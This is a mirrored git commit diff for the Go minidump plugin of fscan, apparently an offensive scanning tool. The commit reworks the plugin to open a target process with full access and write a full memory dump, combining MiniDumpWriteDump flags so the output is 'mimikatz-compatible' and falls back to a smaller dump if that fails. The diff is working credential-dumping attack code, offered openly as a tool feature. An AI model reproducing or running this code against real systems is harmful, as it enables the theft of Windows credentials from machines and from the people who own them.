mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
enhance: 优化minidump插件,支持mimikatz兼容的完整内存转储
This commit is contained in:
parent
a1c82d188b
commit
653a89b737
@ -11,7 +11,6 @@ import (
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
"golang.org/x/sys/windows"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
"time"
|
||||
@ -234,27 +233,25 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
|
||||
// 执行转储
|
||||
common.LogDebug("开始执行内存转储...")
|
||||
|
||||
// 尝试使用系统工具进行内存转储
|
||||
common.LogDebug("尝试使用系统工具进行内存转储...")
|
||||
dumpErr := pm.dumpProcessWithSystemTool(pid, outputPath)
|
||||
if dumpErr != nil {
|
||||
common.LogError(fmt.Sprintf("系统工具转储失败: %v", dumpErr))
|
||||
// 使用带超时的Windows API进行内存转储
|
||||
common.LogDebug("开始使用Windows API进行内存转储...")
|
||||
|
||||
// 创建一个带超时的context(完整转储需要更长时间)
|
||||
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
|
||||
defer cancel()
|
||||
|
||||
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("内存转储失败: %v", err))
|
||||
// 创建错误信息文件
|
||||
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
|
||||
pid, err, time.Now().Format("2006-01-02 15:04:05")))
|
||||
os.WriteFile(outputPath, errorData, 0644)
|
||||
|
||||
// 尝试使用API方式
|
||||
common.LogDebug("尝试使用Windows API进行内存转储...")
|
||||
err = pm.dumpProcess(pid, outputPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("API转储也失败: %v", err))
|
||||
// 创建一个包含错误信息的文件
|
||||
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nSystem tool error: %v\nAPI error: %v\nTimestamp: %s\n",
|
||||
pid, dumpErr, err, time.Now().Format("2006-01-02 15:04:05")))
|
||||
os.WriteFile(outputPath, errorData, 0644)
|
||||
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("所有转储方法都失败了"),
|
||||
}, nil
|
||||
}
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("内存转储失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 获取文件信息
|
||||
@ -456,6 +453,23 @@ func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||
return syscall.Handle(handle), nil
|
||||
}
|
||||
|
||||
// dumpProcessWithTimeout 带超时的转储进程内存
|
||||
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
|
||||
// 创建一个channel来接收转储结果
|
||||
resultChan := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
resultChan <- pm.dumpProcess(pid, outputPath)
|
||||
}()
|
||||
|
||||
select {
|
||||
case err := <-resultChan:
|
||||
return err
|
||||
case <-ctx.Done():
|
||||
return fmt.Errorf("内存转储超时 (120秒)")
|
||||
}
|
||||
}
|
||||
|
||||
// dumpProcess 转储进程内存
|
||||
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||
processHandle, err := pm.openProcess(pid)
|
||||
@ -471,12 +485,39 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||
defer pm.closeHandle(fileHandle)
|
||||
|
||||
common.LogDebug("正在调用MiniDumpWriteDump API...")
|
||||
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
|
||||
ret, _, err := miniDumpWriteDump.Call(
|
||||
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
|
||||
if err != nil {
|
||||
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err)
|
||||
}
|
||||
|
||||
// 使用MiniDumpWithDataSegs获取包含数据段的转储(mimikatz兼容)
|
||||
const MiniDumpWithDataSegs = 0x00000001
|
||||
const MiniDumpWithFullMemory = 0x00000002
|
||||
const MiniDumpWithHandleData = 0x00000004
|
||||
const MiniDumpScanMemory = 0x00000010
|
||||
const MiniDumpWithUnloadedModules = 0x00000020
|
||||
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
|
||||
const MiniDumpFilterModulePaths = 0x00000080
|
||||
const MiniDumpWithProcessThreadData = 0x00000100
|
||||
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
|
||||
const MiniDumpWithoutOptionalData = 0x00000400
|
||||
const MiniDumpWithFullMemoryInfo = 0x00000800
|
||||
const MiniDumpWithThreadInfo = 0x00001000
|
||||
const MiniDumpWithCodeSegs = 0x00002000
|
||||
|
||||
// 组合多个标志以获得mimikatz可识别的完整转储
|
||||
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
|
||||
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
|
||||
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
|
||||
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
|
||||
|
||||
common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType))
|
||||
|
||||
ret, _, callErr := miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
0x2, // MiniDumpWithDataSegs - 使用更安全的选项
|
||||
uintptr(dumpType),
|
||||
0, 0, 0,
|
||||
)
|
||||
|
||||
@ -484,20 +525,45 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||
if ret == 0 {
|
||||
// 获取更详细的错误信息
|
||||
lastError := windows.GetLastError()
|
||||
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", err, lastError)
|
||||
common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d),尝试使用较小的转储类型...", lastError))
|
||||
|
||||
// 尝试使用较小的转储类型作为后备
|
||||
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
|
||||
common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType))
|
||||
|
||||
ret, _, callErr = miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
uintptr(fallbackDumpType),
|
||||
0, 0, 0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
lastError = windows.GetLastError()
|
||||
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError)
|
||||
}
|
||||
|
||||
common.LogBase("使用后备转储类型成功创建转储文件")
|
||||
}
|
||||
|
||||
common.LogSuccess("内存转储写入完成")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// openProcess 打开进程
|
||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||
common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
|
||||
proc := pm.kernel32.MustFindProc("OpenProcess")
|
||||
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||
proc, err := pm.kernel32.FindProc("OpenProcess")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err)
|
||||
}
|
||||
|
||||
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||
if handle == 0 {
|
||||
lastError := windows.GetLastError()
|
||||
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", err, lastError)
|
||||
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
|
||||
}
|
||||
common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle))
|
||||
return handle, nil
|
||||
@ -510,8 +576,12 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
createFile := pm.kernel32.MustFindProc("CreateFileW")
|
||||
handle, _, err := createFile.Call(
|
||||
createFile, err := pm.kernel32.FindProc("CreateFileW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err)
|
||||
}
|
||||
|
||||
handle, _, callErr := createFile.Call(
|
||||
uintptr(unsafe.Pointer(pathPtr)),
|
||||
syscall.GENERIC_WRITE,
|
||||
0, 0,
|
||||
@ -521,34 +591,21 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
)
|
||||
|
||||
if handle == INVALID_HANDLE_VALUE {
|
||||
return 0, fmt.Errorf("创建文件失败: %v", err)
|
||||
lastError := windows.GetLastError()
|
||||
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("转储文件创建成功,句柄: 0x%x", handle))
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// closeHandle 关闭句柄
|
||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||
proc := pm.kernel32.MustFindProc("CloseHandle")
|
||||
proc.Call(handle)
|
||||
if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
|
||||
proc.Call(handle)
|
||||
}
|
||||
}
|
||||
|
||||
// dumpProcessWithSystemTool 使用系统工具进行内存转储
|
||||
func (pm *ProcessManager) dumpProcessWithSystemTool(pid uint32, outputPath string) error {
|
||||
common.LogDebug("尝试使用系统命令进行内存转储")
|
||||
|
||||
// 创建一个更简单的脚本,避免复杂的PowerShell语法
|
||||
psScript := fmt.Sprintf(`$proc = Get-Process -Id %d -ErrorAction SilentlyContinue; if ($proc) { $info = "Process: " + $proc.ProcessName + [Environment]::NewLine + "PID: " + $proc.Id + [Environment]::NewLine + "Memory: " + ($proc.WorkingSet64 / 1MB) + " MB" + [Environment]::NewLine + "Timestamp: " + (Get-Date) + [Environment]::NewLine; $info | Out-File -FilePath '%s' -Encoding UTF8; Write-Host "Success" } else { throw "Process not found" }`, pid, outputPath)
|
||||
|
||||
cmd := exec.Command("powershell", "-Command", psScript)
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("PowerShell转储失败: %v, 输出: %s", err, string(output))
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("PowerShell输出: %s", string(output)))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
|
Loading…
Reference in New Issue
Block a user